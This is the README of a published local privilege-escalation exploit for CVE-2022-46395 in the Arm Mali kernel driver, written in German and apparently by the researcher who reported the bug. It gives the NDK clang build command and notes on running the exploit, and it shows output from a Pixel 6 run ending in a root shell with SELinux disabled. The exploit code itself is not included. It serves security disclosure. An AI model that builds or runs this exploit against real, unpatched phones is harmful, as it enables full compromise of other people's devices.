
Exploit für CVE-2022-46395, eine Schwachstelle im Kernel-Treiber von Arm Mali, die beliebige Kernel-Code-Ausführung ermöglicht, um SELinux zu deaktivieren und auf dem Google Pixel 6 Root-Rechte zu erlangen.
Der Write-up ist hier zu finden. Dies ist ein Fehler im Arm-Mali-Kernel-Treiber, den ich im November 2022 gemeldet habe. Der Fehler kann genutzt werden, um aus der nicht vertrauenswürdigen App-Domäne beliebigen Kernel-Code auszuführen, der dann verwendet wird, um SELinux zu deaktivieren und Root-Rechte zu erlangen.
Der Exploit wurde auf dem Google Pixel 6 mit den Patches vom November 2022 und Januar 2023 getestet. Als Referenz habe ich den folgenden Befehl zum Kompilieren mit Clang in ndk-21 verwendet:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o mali_user_buf
Der Exploit sollte einige Minuten nach dem Booten ausgeführt werden und wird wahrscheinlich einige Minuten laufen müssen, um erfolgreich zu sein. Es ist nicht ungewöhnlich, dass die Race Conditions hunderte Male fehlschlagen, obwohl ein Fehlschlagen der Race Condition keine negativen Auswirkungen hat und der Exploit als Ganzes selten abstürzt. Im Erfolgsfall sollte SELinux deaktiviert und Root-Zugriff erlangt werden.
oriole:/ $ /data/local/tmp/mali_user_buf
fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys
benchmark_time 357
failed after 100
failed after 200
failed after 300
benchmark_time 343
failed after 400
failed after 500
failed after 600
benchmark_time 337
failed after 700
failed after 800
failed after 900
benchmark_time 334
failed after 1000
failed after 1100
failed after 1200
benchmark_time 363
failed after 1300
finished reset: 190027720 fault: 135735849 772 err 0 read 3
found pgd at page 4
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
result 50
oriole:/ #